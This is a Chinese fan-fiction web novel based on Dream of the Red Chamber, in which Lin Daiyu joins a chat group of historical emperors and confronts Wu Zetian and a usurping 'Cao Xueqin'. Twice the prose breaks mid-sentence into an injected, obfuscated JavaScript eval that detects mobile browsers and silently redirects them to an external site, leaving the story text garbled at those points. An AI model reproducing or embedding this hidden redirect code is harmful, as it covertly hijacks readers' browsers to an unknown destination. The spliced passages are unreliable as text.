《[红楼]帝王聊天群》 1. 天家群聊 黛玉方推开潇湘馆那扇月洞门，耳内便凭空钻进一道八卦兮兮的声音。 【我的好宿主，且猜一猜，今儿又是哪位贵人，巴巴儿地给你送东西来了？】 她步入房中，湘妃竹帘自身后轻晃。她只款款行至窗下那张紫檀雕花贵妃榻，寻了个舒坦姿势，斜着倚了。一双纤纤玉手，轻轻拂过案上那几页诗稿。 “不猜。” 那声音“啧”了一声，似是讨了个没趣：【真真儿是块捂不热的冰。罢了，奴家好心告诉你罢，是史大姑娘，特特要送来一块上好鹿肉，说是怕你身子虚，给你补补呢。】 黛玉正欲提笔的手腕一凝。 那声音又起：【喔对了，还有那薛家大爷送了……】 “住了。”黛玉眉尖蹙起，两个字落地，清脆利落。 【喔对了，那三姑娘方才，简直要把目光黏在你身上了！探春那小眼神，啧啧，恨不得将你请回她那秋爽斋，共享夜话呢。】 黛玉睫毛都未曾动一下，只在心中冷冷回道：“你这嚼舌的八卦根子，日日好吃瓜，可有半分清净？” 【主人此言差矣。奴家乃是靠着这些人间烟火、爱恨嗔痴过活的。无瓜可食，性命堪忧。话说回来，你方才在诗社拔得头筹时，何止是三姑娘，那衡芜君眼里的光彩，也藏不住了。那副又羡又妒又不得不服气的模样，奴家已为你刻录成影，可要一观？】 “不必。”黛玉终于舍得将目光从窗外收回，吐出的两个字，清泠泠的。 她执起管羊脂玉净毫笔，正待在诗稿上再添一两句朱批，谁知眼前旋即，一面半透的琉璃影壁凭空舒展开来。 “叮……贺喜宿主，【历代帝王聊天群】已为您开通。” 她索性搁下朱笔：“又在弄什么玄虚？” 【我的好宿主，这可不是玄虚，是天大的趣事！】那声音又恢复了那股子轻浮劲儿，【这可是能与那九五之尊谈笑风生的好机会，寻常人打破头也求不来的缘法。】 “我对朝堂权谋，素无兴致。”黛玉语声淡淡，垂眸复又去看那书卷。 【谁说只可谈论权谋？】那声音压低了，故作神秘，【你就不想晓得，那些个在金銮殿上威风八面的万岁爷，私底下凑在一处，会是何等光景？】 黛玉持卷的手，停在半空。她那双似喜非喜含情目微微眯起，眼波流转间，已有三分凉意：“你近来，可是闲得狠了？” 【姑娘这回可真是冤枉奴家了。】那声音竟透出几分委屈，【这个群……怎么说呢，是它自个儿寻上门来的。】 “自个儿寻上门？”黛玉眯眯眼，将手中一小撮刚调好的香料稳稳投入炉中，“莫不是又来了什么不知好歹的，觊觎我这美貌？” 自恋的话音未落，眼前那面琉璃影壁上，字迹流转，清晰显现。 【历代帝王聊天群】 群中诸君：始皇帝、汉武帝、唐太宗、明太祖、康熙…… 黛玉只扫了一眼那惊世骇俗的名目，秀气的眉峰便不自觉地拢在一处。“听这名头，便知不是什么省心的地方。” 【哈哈哈哈哈哈！我的姑娘，你只管进去瞧瞧便知！这些个皇帝，平日里一个个端着架子，人模人样，关起门来，那口舌之利，骂起人来，怕是天上的仙女儿听了都要红着脸躲开呢！】 影壁之上，字迹飞快滚动。 【秦始皇】：朕并吞六国，书同文，车同轨，功盖三皇，德高五帝！尔等谁人能及？ 【汉武帝】：呵，一个焚书坑儒的暴君，也配在此饶舌论功？ 【秦始皇】：刘彻小儿！你这败家子，将文景二帝攒下的家底挥霍一空，穷兵黩武，竟还有颜面来指摘朕？ 【唐太宗】：二位圣君暂息雷霆之怒。若论文章治国，武功安邦，还看我贞观一朝。 【朱元璋】：李二凤，你那玄武门的事儿，咱老朱就不在这里给你揭短了罢。 黛玉看得一时竟忘了言语。 这……这便是那史书上赞了千百年的明君？ 【惊不惊喜？意不意外？】那声音里满是幸灾乐祸，【快，趁着他们吵得热闹，你也进去说两句。】 “我一介闺阁弱质，掺和进这龙争虎斗里作甚？”黛玉正欲挥手散了那影壁，却见群中忽然静了下来。 【唐太宗】：且住，来了新人？ 【朱元璋】：林黛玉？这是哪一朝的人物？咱老朱怎么没听说过？ 【康熙】：@林黛玉敢问这位姑娘，是哪位皇兄的后宫之人？ 黛玉：“……” 她深吸一口气，指尖在虚空中那片琉璃影壁上，翩然点触。 【林黛玉】：诸位万岁安。小女子并非宫中之人，不过一介布衣。 【秦始皇】：布衣？既是布衣，如何能入此群？此地，非帝王者不得入内！ 【汉武帝】：莫不是天机出了纰漏？ 【林黛玉】：或许是因小女子姓林。林者，双木也。木属东方，东方为青龙之位，青龙者，帝王气象也。 群中一时寂静。 过了半晌，方才又有了动静。 【唐太宗】：……此番说辞，朕竟无言以对。 恰在此时，帘栊轻响，紫鹃捧着一盏天青的汝窑小碗，稳稳当当走了进来：“姑娘，这是老太太那边才打发人送来的，说是南边新贡的上好血燕，吩咐厨房细细熬了，最是养人的。姑娘趁热用些罢。” 黛玉伸手接过。那粥熬得极稠，燕窝丝丝分明，入口绵软，甜润适中。 【朱元璋】：女娃娃，你是哪一朝的人物？ 【林黛玉】：诸位陛下万安。小女子林黛玉，叨扰诸位天颜。目下身处的世界，恰是圣祖爷治下。 镜中霎时死寂，连一个滚动的字也无。 三息之后。 【康熙】：？？？朕的天下？朕如何不知，朕的疆土之内，有你这等人物？哪个林家的？ 【明太祖】：哈哈哈哈！好你个康熙！自家朝里的人，你竟认不全！这皇帝当得，真是稀里糊涂！ 【康熙】：朱元璋你给朕闭嘴！你老朱家的皇帝，从你往下数，除了你儿子，哪个不是歪瓜裂枣？还好意思在此饶舌？ 黛玉愈发觉得有趣，又动了动手指。 【林黛玉】：圣祖爷莫急。小女子确是生在您的乾坤之内，只是……并非生于您所在的尘世，而是生于一本名唤《红楼梦》的书中。确切的说，是作者生活在您的治下。 【唐太宗】：书中？此话何解？ 【林黛玉】：说得浅显些，小女子乃是书中杜撰之人，所处世界乃是架空。而有趣的是，在小女子的世界里，诸位陛下，连同你们的赫赫江山，都已是前尘旧梦，成了史书上的几行字罢了。 镜中再度陷入一片沉寂。这安静，比方才更加可怕，好似连时空都冷冻了。 【始皇帝】：……朕，是史书上的字？ 【汉武帝】：慢着。你的意思是，你知道我们所有人的身后事？我们的功过、我们的结局、我们那万里江山的最终归宿？ 黛玉这才将那停了半晌的玉匙送至唇边，慢呷了一口燕窝粥，好整以暇，任由群中的帝王们自行炸锅。待那温润的甜意从舌尖漫到心底，方才缓缓地敲出下一行字。 【林黛玉】：确实如此。譬如始皇陛下，您最终崩于沙丘，年四十有九。赵高、李斯矫诏，公子扶苏自刎，大秦二世而亡。 【始皇帝】：！！！！！！ 【林黛玉】：汉武帝陛下，您晚年巫蛊之祸起，卫太子兵败，覆于沟壑。您临终追悔，颁下《轮台罪己诏》，立了幼子弗陵。 【汉武帝】：你……你……妖言惑众！ 【林黛玉】：唐太宗陛下……玄武门之事，手足之谊，何堪回首？ 【唐太宗】：………… 正当那方水镜中愁云惨雾搅得人心烦意乱，潇湘馆的门帘外，却传来紫鹃那拿捏得恰到好处的轻柔语声：“姑娘，宝二爷过来了。” 黛玉正拿银签拨弄着香炉里的沉水香，闻言，那两弯似蹙非蹙罥烟眉，便又实实在在地蹙成一团。 “去回了他，就说我身上发了些懒，实在懒怠动弹，不得相见了。” 紫鹃知她心意，只低低应了声“是”，脚步声便悄然远去了。 只这一会儿工夫，镜中已是天翻地覆，龙争虎斗。 【秦始皇】：妖女！此必是妖女！来人！与朕将此妖女捉来！车裂！烹之！ 【汉武帝】：汝究竟何人！缘何知晓朕之心腹大患，竟比朕的绣衣使者还快！ 【唐太宗】：康熙！此女既在你大清朝中，你作何解释！朕看你这后生，治国不严啊！@康熙 【康熙】：这……这朕上 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【林黛玉】：诸位万岁，与其在此纠缠早已尘埃落定的旧事，不如看看眼下。我虽是书中虚构之人，但我所处的这方天地，亦有无穷风波。不知诸位可有兴致一观？ 【秦始皇】：哦？有何风波，说来与朕听听。 【林黛玉】：譬如，我们这国公府，眼下正悬于一线，面临抄家之祸。瞧着是烈火烹油、鲜花着锦之盛，内里却早已是强弩之末，一推便倒。 【唐太宗】：抄家？因何缘故？ 【林黛玉】：说来话长。简言之，便是功高震主、结党营私、侵挪亏空，自古权臣败落的几味主药，一味也不少。 【汉武帝】：此乃取死之道，权臣末路，史不绝书。有何稀奇。 【林黛玉】：事确不稀奇。有趣处在于，我恰好知晓此间所有关窍，上至朝堂博弈，下至内宅阴私，哪一个是忠，哪一个是奸，谁在背后算计，谁会当面背叛，我心中都有一本明明白白的账。 【系统：嘻嘻，皆为我的功劳～】 【明太祖】：嘿！这倒有些意思了。那闺女你待如何？ 黛玉放下手中燕窝小碗，起身踱至窗前，静观窗外那一片疏疏朗朗的翠竹。 【林黛玉】：自然是要于这倾颓大厦之上，寻一线生机，改了这命中注定的结局。不过，在此之前，我想与诸位做一笔交易。 【秦始皇】：交易？与朕？ 【林黛玉】：诸位心中最挂念之事，最想解开的千古谜团，我或可知晓一二。以此为价，换诸位……几件身外之物。 【康熙】：身外之物？朕等皆是九泉之下的魂魄了，能予你何物？ 话音未落，那机灵的系统便又在黛玉脑中响起。 【系统：宿主，此聊天群可跨越时空传送万物，只需消耗气运值。这些帝王生前的奇珍秘藏、失传秘书、天工开物之技，皆可为您取来！】 黛玉眸光一亮，那素日里忧郁的嘴角，此刻竟笑得志在必得。 【林黛玉】：诸位生前，谁没有些压箱底的珍藏？譬如，早已失传的医家圣典，出神入化的武学秘籍，点石成金的炼丹方术，巧夺天工的机关图录……乃至一些，超乎想象的奇思妙想？ 【秦始皇】：你要这些无用之物作甚？ 【林黛玉】：欲改贾府之命，非权谋二字可以穷尽。医术可救人命，武功能护己身，机关术可生财，至于那些奇思妙想…… 她言语一顿，眼中似有星河倒悬。 【林黛玉】：诸位可知，在我身处的此刻之后，尚有更为光怪陆离的未来？届时，有铁制的大鸟翱翔于九天之上，有铁铸的巨牛潜行于四海之下，更有千里传音、万里传影之奇术。 【系统：此事不可怪我，是她套话于我的。奴家上知天文，下知地理，博古通今，居然也着了潇湘妃子的道，嘤嘤嘤。】 此言一出，水镜之中顿时静寂，随即炸开了锅。 【汉武帝】：铁鸟上天？？？ 【唐太宗】：万里传影？？？ 【明太祖】：闺女，你莫不是在说甚么天方夜谭的神话故事？ 正要再说，却闻窗外庭院里忽地炸开一阵喧哗，那脚步声碎得好似乱珠撒地，全无章法。 “姑娘！姑娘！了不得了！” 是雪雁的声音。那声音惊惶得走了调，平日里少女老成的稳重，此刻被碾得粉碎。 2. 天香楼上见端倪 黛玉那两道笼烟眉紧紧一蹙，指尖在虚空处轻轻一点，眼前那面水光潋滟的镜台便收敛了华光，悄然隐去。 “进来回话。”声音清冷了下来。 帘栊一挑，雪雁几乎是连滚带爬地扑了进来，一张小脸已然褪尽了血色，嘴唇哆嗦着，半晌也拼不成一句整话：“姑……姑娘……方才，方才东府里的小厮，骑着马，像催命似的跑来报信……说，说那边……出了天大的事了！蓉，蓉大奶奶……秦氏她……她……” 黛玉心头狠狠一沉，声音却愈发平稳：“可卿姐姐怎么了？” “说是……说是从天香楼上头……自个儿，纵下来了！” 此言一出，如惊雷贯耳。 【那话痨的系统在脑中尖叫：警报！警报！剧情九级偏离！秦可卿是病死的，天香楼上吊的是癸酉本剧情！眼下这跳楼，又是哪一出？！谁把这戏台子给拆了重搭了？！】 黛玉哪里还顾得上与它饶舌，霍然起身，伸手便从紫檀木雕花衣架上取下那件银绸风氅，一面系着领口的盘扣，一面已朝外走，声传屋外：“紫鹃，立刻备轿！” 恰在此时，那水镜虽已隐匿，却有几行灿灿金字凭空悬于她眼前，急急跳了出来。 【秦始皇】：小丫头，朕有一物，可破虚空，瞬息即至。然，天下无白食之理，你须答朕一问，以作交换。长生不死，究竟是真是幻？ 黛玉的步子未停，心思却已转了千百个来回，指尖在虚空处轻划，便有数行清丽小字回了过去。 【林黛玉】：是真。却非陛下所求的那种真。待黛玉处置了眼前这桩官司，再与陛下细说端详。 字迹隐没。她已掀起门帘，裙裾生风，不见半分仓促狼狈。 临上轿前，她心念一动，又瞧了眼镜中那群帝王。 【林黛玉】：诸位陛下，黛玉府中有急事，先行告退。 【汉武帝】：去罢去罢！记着回来与朕们说说后续的热闹！ 【唐太宗】：万事小心！ 阖上心神，黛玉深吸一口沁凉的夜气。 “方才究竟是怎么回事？”她收起了闲谈时的松弛，声线骤冷。 【有一股子不知名的力量，在暗中窥探你。不过你放心，已经被我挡回去了。】那灵识的声音也凝重起来，【我的姑娘，这群帝王，恐怕来头大得吓人。】 “你才察觉？”黛玉冷笑，“能将五个朝代的开国雄主、盛世明君聚于一处，背后若无翻江倒海的玄机，说出去谁信？” 【那你还与他们聊得那般热络？】 “知己知彼，方能百战不殆。况且……这几位陛下，倒也委实有趣的紧。” 夜色将天地间浸染得漆黑，唯有轿前两盏灯笼，照着一小方湿漉漉的青石板路。 盘算着东府的事情，她那双清波流转的眸子，在黑暗中缓缓睁开，不见慌乱，反倒燃起了两簇火苗。 “这倒有意思了。看来这东府里头，竟比我想的，还要热闹几分。” 【我的姑娘，不知为何，我这运算核心传来阵阵警兆……用你们凡人的话说，就是我有种不祥的预感……】 “预感什么？” 【这恐怕不是蝴蝶扇了扇翅膀，吹动了几片落叶。倒像是有只看不见的手，在背后头，悍然将这整个棋盘都给掀了！】 黛玉眯眯眼，露出冰冷的笑意：“那便更有趣了。我倒要看看，是何方神圣，敢在我的棋局里坐庄。” 轿子早已抬得飞快，几个健壮的婆子脚下生风。在这沉沉的夜色里，那顶小轿如同一叶扁舟，向着宁国府，破浪而去。 到了那边，彻夜的灯火，明晃晃照着一府的寂静，连更夫的梆子声都似被吞了去。 黛玉的绣鞋刚踏上青石板，眼角便瞥见了角落里立着的一道人影。不是别人，正是凤姐。 只是今日的凤姐，竟卸下了惯爱的那身赫赫扬扬的大红衫子，换了一领沉静的靛青褙子，平日里那副神采飞扬的笑脸，此刻也收敛得干干净净。 “林妹妹，你可算来了。”凤姐迎上前来，声音是压在嗓子眼里的，气儿都有些不匀，“你来得恰好，这事……邪性得很。” 【系统：哦豁，连凤辣子都认证的邪性事件，这瓜保熟喔，啧啧啧。友情提示，方才一盏茶的工夫，她偷觑了你三回，每一回都是话到嘴边又咽回去的模样，精彩。】 黛玉心中波澜不惊，权当未闻那聒噪之音，只淡淡启唇：“可卿姐姐人呢？” “在天香楼上头。”凤姐引着她往里走，脚下生风，“人倒是无碍，只是……” “只是如何？” “只是她说，她不是秦可卿。” 黛玉的步子蓦地一顿。恰在此时，脑中那许久未有动静的帝王群，竟是炸开了锅。 【秦始皇】：咄！朕方才察觉到了何物？那个跳楼的女子，身上竟有龙气！ 【汉武帝】：龙气？女子之身，何来龙气？荒唐！ 【唐太宗】：除非……是女帝转世不成？@所有人尔等谁人记得，史书上可有过称帝的女子？ 【武则天】：咳，是朕。 黛玉：“……” 这武则天，是何时进的群？ 【系统：就在方才，应是被秦可卿身上的异动引来的。啧，这群还有自动索敌、摇人儿的功能？够先进的。】 黛玉一面紧随凤姐的脚步，足下未停，一面已在群中飞速探问。 【林黛玉】：陛下，您的意思是，秦可卿身上有您的气息？ 【武则天】：非是气息。更像是……朕的一缕残魂。可朕已身故数百年，断无此理。 【明太祖】：等等，你们这说的是什么混话？转世？残魂？这群里还能讲这些个虚无缥缈的玄学？ 【秦始皇】：朱元璋你这凤阳要饭的，懂什么！连魂魄之说都信不过？朕当年为求长生，见过的方士真人，比你吃过的米都多！ 天香楼的门被咿呀一声推开。入目之景，让黛玉皱眉。 秦可卿独坐窗边，一袭月白寝衣，三千青丝如瀑泻下。可那双眼睛……那断不是秦可卿平日里温柔含情的眼。 那眼底，明明白白，是俯瞰江山的睥睨，是君临天下的威严。 “你终于来了。”那占着秦可卿身子的人缓缓回首，目光落在黛玉身上，“身负‘系统’之人。” 【系统：！！！草（一种植物）！她知道我！反了天了！】 黛玉面上不见分毫惊诧，反笑将出来，清冷，了然：“看来，这大千世界，并非只有我一个‘异数’。” “秦可卿”站起身，莲步轻移，却步步都踏出金銮殿上的气势：“你猜得不错。朕，确实不是秦可卿。说得更明白些，朕是被困在此处的一缕孤魂。” 凤姐在一旁听得是云山雾罩，满心狐疑：“你们这打的是什么哑谜？什么‘西统’？什么‘孤魂’？” 黛玉伸出手，轻轻覆在凤姐的手背上，让她镇静了些许：“凤姐姐，可否容我与她单独说几句话？” 凤姐的目光在她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219491|181441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二人之间来回，终是点了点头，退了出去。 临走，还不忘丢下一句：“你们姐妹俩好生说话，可别闹出什么人命官司来。” 【系统：听听凤姐这话，说得好似你们要在此处行什么不轨之事。哎，我这纯洁的系统。】 “闭嘴。”黛玉在心中冷斥一句。 这系统就喜欢吃瓜她和其他人的八卦。弄得好像全大观园的人都喜欢她一般。 她复又抬眼，望向对面之人，“阁下究竟是何人？” “朕姓武，名曌。”对方的语气淡淡，却自有威严，“你应该听过朕的名号。” 果然是武则天！ 【系统：等等等等！武则天穿成了秦可卿？这是什么神仙本子？执笔的先生是喝了多少斤的黄汤才能写出这等惊世骇俗的剧情？】 黛玉深深吸进一口气，将胸中的翻腾压下：“所以，你方才跳楼，是为……” “求死。”武曌的嘴角扯出凄凉的苦笑，“你可知被困在这具弱不禁风的身子里，日日晨昏定省，伺候公婆，还要周旋于一个酒囊饭袋的夫君之间，是何等滋味？朕，堂堂一代女帝，竟要为贾珍那等腌臢之物奉茶捧水！” 【汉武帝】：哈哈哈哈！朕要笑死了！女帝给纨绔子为妇！千古奇闻！ 【武则天】：…… 黛玉的眸光微动，已然洞悉了其中关节：“但你并未死成。” “废话。朕若能死，这会儿骨头都化成灰了。”武曌颓然坐下，那股帝王气瞬间泄了干净，“这具身子不知被何物护着，求死不能。而且……” 她顿了顿，眼中是刻骨的恨意：“朕发现，这世间有一双无形之手，在拨弄所有人的命数。也包括你的，林黛玉。” 黛玉细细的眉梢一挑：“哦？” “你以为你身负‘系统’，便能逆天改命？”武曌冷笑，“天真。你的‘系统’，你的到来，甚至你此刻站在这里与朕说话，皆是那幕后之人的布置。” 【系统：？？？我是被安排的？岂有此理！本系统乃是官方正版，如假包换！】 恰在这时，一道声音悄然浮现，威仪赫赫，带着金石之音。 【秦始皇】：丫头，朕赐你的物件，已至你处。便在你袖中。 黛玉并未声张，只将那只素白的手探入海棠花纹的广袖深处。指尖微动，果然触到一物，冰凉滑润，触手生寒，竟是一只小小的羊脂玉瓶。 【秦始皇】：此物，乃徐福那厮当年于海外仙山寻得的“不死药”。长生不过是痴人说梦，然起死回生，倒是可有一次。朕当年龙驭宾天之际亦未舍得动用，今日，便赠了你。 【林黛玉】：代价。 黛玉的回应简洁如冰，不带温度。这世间，从无平白无故的恩赐。 【秦始皇】：告诉朕，何为真正的不死不灭。 黛玉正欲凝神作答，武曌那幽然的声音却再度于耳畔响起：“莫信他。始皇帝所赠之物，与我今日此行，皆出自同一人的手笔。” 一言惊醒梦中人。黛玉微微收拢了手，那冰冷的玉瓶便被她攥入了掌心，凉意直透心底。 “那人，究竟是谁？” 武曌一双凤目深深望来，眼底是跨越了千年的岁月，阅尽千帆的沧桑与倦怠：“曹雪芹。” 【系统：我的天！这瓜太大，奴家一时竟不知从何下口！信息量过载，机子要烧了！】 黛玉整个人都定住了。 曹雪芹？那撰写《石头记》，批阅十载的曹雪芹？ 3. 静止的画卷 “陛下的意思是，写下这本书的那个作者，正在操纵我们所有人的命运？”黛玉问道。 “不尽然。”武曌站起身，缓步踱至窗前，看着那被四角天空框住的灰沉天色，叹了口气。 “说得切确些，应是一个得了‘作者’权柄的异世魂。他成了曹雪芹，继而发觉，自己能随心所欲地涂抹这个世界的规矩，更改我等的命数。” 【系统：等等等等，这剧情走向也太离谱了！让我先找个角落缓缓，缓缓……】 黛玉心念电转，瞬间将前后事由串联起来：“所以你方才纵身一跃，是想试着挣脱他的笔锋？” “痴心妄想罢了。”武曌唇边隐隐浮现凄然的自嘲，“我试过多次了。每一次濒死，光阴便会倒转。众人皆忘，独我一人，带着这无尽的记忆，在同一出戏里反复煎熬。” 她的声音轻飘飘的，砸得黛玉心头沉重。 片刻的静默后，黛玉忽然笑了：“这倒有趣了。那你可知，他为何偏偏要我得了这劳什子系统，又能与诸位帝王闲聊？” 武曌缓缓摇头，眸光晦暗：“不知。但揣度其心，绝非善举。” 话音未落，楼下忽地炸开一阵喧哗，哭喊声、脚步声乱作一团。 “不好了！老爷不行了！快请太医！” 是东府的贾敬！ 黛玉与武曌迅速交换了眼神，皆从对方眼中读出了惊疑。原著中的贾敬，分明是在京城外的玄真观，修炼，烧丹炼汞，别的事一概不管，最后吞食丹砂烧胀而死，如何会在此刻病危？ 【系统：警报！警报！剧情又脱了缰！这回连死法和日子都对不上了！莫不是这位老道士急着赶场投胎，换了个新剧本？】 二人皆是颇有决断之人，便快步下楼。谁知刚行至楼梯拐角处，便撞上一个万万想不到的人。 薛宝钗。 作为亲戚来做客，住在荣国府东北角的薛姐姐。 此刻的宝钗，依旧是那身蜜合色棉袄，依旧是那张雪白丰腴的脸盘。可她那双素来温和敦厚的眼眸里，却空空荡荡，再无半分旧日对黛玉温婉情态，反倒盛满了腹黑的笑意，好似一个看客，正欣赏着一出绝妙的滑稽戏。 “二位这般行色匆匆，是要往哪一处戏台赶呢？”她启唇轻笑，对黛玉说话的嗓音甜美依旧，调子却说不出的诡异陌生。 黛玉心中警铃大作，脚步顿住：“你，不是宝钗。” 毕竟是日日相处的姐妹，一看便知。 “宝钗”闻言，竟抬起素白手帕，掩唇而笑，那姿态学了十成十，内里却差了千里：“林妹妹当真是慧眼识珠。容我自荐一番，在下，曹雪芹。” 【系统：好家伙！说曹操，曹操就登门了！最终的反派角儿竟亲自粉墨登场了！氮素！他如何夺了宝姐姐的舍？！】 武曌勃然色变，帝王威压瞬间爆发，一掌挟着雷霆之势，直直拍向“宝钗”的面门！ 可那凌厉的掌风，在距离“宝钗”面颊一寸之处，骤然冷冻了。 天香楼的一切都静止了。武曌含怒击出的身形，楼下奔走呼号的下人，窗外飘落的叶，甚至连空气中浮动的尘埃，都化作了一幅静止的画卷。 唯有黛玉，尚能呼吸，尚能思考。 “宝钗”，不，该称之为曹雪芹，饶有兴致地打量着她，那眼神，如同审视一件最心爱的作品：“颦儿，可知我为何独独留你清醒？” 这语气，亲切地紧，甚至可说甜腻肉麻了。如宝钗平日里一般，称她作“颦儿”。 黛玉垂在身侧的手，已将袖中的玉瓶握得滚烫：“愿闻其详。” “因为，我需要一个对手。”曹雪芹慢条斯理地踱步上前，语气轻松，好整以暇，“一个人扮着天仙，俯瞰众生，着实是无趣得紧。故而我赐你这系统，让你窥见那些帝王残魂，甚至遣了武曌来……点醒你。” “……就为了寻些乐子？”黛玉眯眯眼，声音冷得像冰。言下之意：你曹雪芹，活得大抵是挺无趣的，所以只得兴风作浪搞事情。 “哼，倒也不全是。”曹雪芹一介文豪，自然是听出了言下之意。 走上前，在她面前站定，微微倾身，那张属于宝钗的圆润富贵脸上，绽开一个万万不属于她的笑，“我想瞧瞧，一个知晓了真相的笼中鸟，会如何抉择。是认命地唱完早已谱好的曲子，还是……” 他话音未断，黛玉手腕猛地一翻，扬手便将那玉瓶中的液体朝他脸上泼去！动作快如闪电，没有半分犹豫！ 然而，那本该起死回生的仙药，在半空中便化作了虚无，消失得无影无踪。 “无用功。”曹雪芹摇了摇头，脸上甚至染上了几分怜悯，“在这方天地里，我便是规矩，我便是笔墨。” “是么？”黛玉非但没有绝望，反而冷笑出声。 她缓缓抬起左手，摊开掌心。那里静静躺着的，并非什么仙丹妙药，而是一枚古朴至极的玉佩。却见那玉色混沌，内里霞光流转，隐有风雷之声。 曹雪芹脸上自信满满的笑容，第一次冷冻住了，他死死盯着那块玉，脸上全然不信：“这是……” “通灵宝玉。”黛玉歪歪头，唇角上扬，隐隐浮现算计得逞的笑容，倒是与往日不同，可以说艳烈如刀，“不过，可不是宝玉的那块劳什子。它，是女娲娘娘炼石补天时，遗于大荒山无稽崖青埂峰下的，那块真正的，顽石。或者可称之为，真宝玉。” 那曹雪芹紧紧地盯着那枚玉佩，一张素来自信傲慢的脸上，竟也有了微澜，眼神惊惑：“绝无此理。那块蠢物，理应在……” “理应在大荒山无稽崖青埂峰下？”黛玉修长的手指，捏着玉佩上的五色丝绦，任那晶莹的玉石在指尖轻巧地打着转。她唇角弯弯，眼波流转间，既有少女的娇俏，又有女皇一般洞悉万物的清冷，“先生忘了，黛玉此身，倒是颇有些仙缘在的。” 只听她心底深处，一道声音得意洋洋地卖弄起来：【嘿嘿嘿，可惊着了？可喜着了？这可是奴家我熬了足足三宿，神游太虚，潜入那天书秘档的核心地界，才给你寻摸出来的乾坤坐标！快亲我一大口！】 曹雪芹到底是经过大风浪的，不过瞬息便敛了神色，复又归于沉静，只淡淡道：“纵然你得了真玉，又能如何？此物非凡，补天之物，绝非你一介凡人女子所能驱使。” 黛玉闻言，非但不恼，反而嫣然一笑，只是若是真宝钗在此，定然可发现这灿烂笑容，着实颇为腹黑：“谁又说，是我要驱使它？” 她侧过身，目光落在被定住的时空中，那依旧保持着威仪凤姿的秦可卿外貌的武曌身上：“武皇陛下，我知道您听得见。此玉认主，非小女子这般寻常血脉可为，需得九五之尊的龙气点化。不知陛下，可愿玉成？” 那被冷冻的身影里，一双凤目中的漂亮瞳仁，竟极轻微地转动了一下。 曹雪芹见状，一声冷哼，讥笑道：“哼，凡夫俗子的痴心妄想。她周身气数，皆为我的规矩所缚，一根指头也动弹不得。” “是么？”黛玉慢条斯理，一派胸有成竹的自信。 她意念微动，便在那帝王聊天群里发了话：“诸位先皇圣主，有宵小之辈，在此欺凌我群中之人了。” 刹那间，虚空中好似有金石之声回响。 【始皇帝】：咄！何方狂徒，敢欺到朕的头上？ 【汉武帝】：动我等看顾之人？此獠是活腻了！ 【唐太宗】：潇湘妃子且耐着，朕这便……罢了，朕如今不过一缕残魂，能奈他何？ 【明太祖】：你我皆是冢中枯骨，不过凭着这一点念想神交，还能做什么文章不成？ 黛玉唇边的笑意更深了些。“诸位圣主忘了？龙体虽已归于山陵，然则天命所归之龙气，万古不灭。此气至刚至阳，最是不服天地之拘管。” 她将那枚通灵宝玉托于掌心，高高举起，玉佩在光下流转着温润华光：“更巧的是，这块石头，当年在女娲座下听过经，晓得大道玄机。它最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219492|181441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜爱的，便是好好教训眼前这位曹雪芹，这般不服管教的魂魄。” 曹雪芹的脸色，终于轰然大变。他正欲出手阻拦，却见黛玉已将那玉佩向空中轻轻一抛！ “以吾林黛玉之名，恭请历代人皇龙魂降临！” 一言既出，整座天香楼金光迸射，瑞气千条！那光芒并非祥和，也非清净，而是一种君临天下的霸道威严，刺得人睁不开眼。 一道道恢弘磅礴的虚影，自那虚无之中踏出，好似跨越了华夏历史长河的千载光阴。 始皇帝身后，玄色墨龙盘旋咆哮，龙目如炬，睥睨天下。 汉武帝身侧，赤色巨龙威严肃杀，好似带着金戈铁马踏平贺兰山的烈火硝烟。 唐太宗顶上，金色祥龙气度雍容，自有一番大唐盛世的绝美华彩…… 黛玉心底那系统声音已是激动得语无伦次：【我的天！这排场！这气势！这光影效果得花多少银子啊！】 “不可能！”曹雪芹失声怒喝，那自信满满的伪装，此刻已是荡然无存，“绝对不可能！我才是此方天地的造物主！” “错了。”一个威严雍容的女声响起，音量不高，却字字掷地有声。 只见秦可卿的身体动了。 不，更确切地说，是栖居于她体内的那位女皇之魂，凭着这漫天龙气的感召，竟生生挣脱了那层无形的枷锁。 “你不过一窃书之人，盗了些许造化之权柄，也敢妄称创世？” 武曌一步步走向曹雪芹，每一步落下，空中便响起一声清越的龙吟。 却见她的女皇气势节节攀升，那属于千古唯一女帝的威仪龙气，尽显无余。 “而我们，”她凤目一扫，睥睨众生，“我们，是真真正正，亲手改写过乾坤史册的人。” 【始皇帝】：说得好！小贼，可敢与朕的兵马俑阵前一战？ 【汉武帝】：正是！写了几页破书，便了不起了？朕当年兴致来了，还写过《轮台罪己诏》，那也是传之后世的！ 【唐太宗】：论文采？朕一部《帝范》，教化子孙，流传千古！ 【康熙帝】：咳，那个……诸位前辈珠玉在前，朕的《庭训格言》，倒也还算说得过去…… 曹雪芹被这股由无数帝王龙气汇聚而成的威压，逼得连连后退，眼中满是狂热不解：“你们不懂！我所做的一切，都是为了创造一个尽善尽美的世界！一个再无缺憾的红楼！” “尽善尽美？”黛玉一声清冷的笑，“让园中姐妹，让世间众人，皆如提线木偶般，按照你的心意去活，这便是你所谓的‘美’？” “总好过原本那风流云散，家亡人死，白茫茫一片真干净的悲剧！” 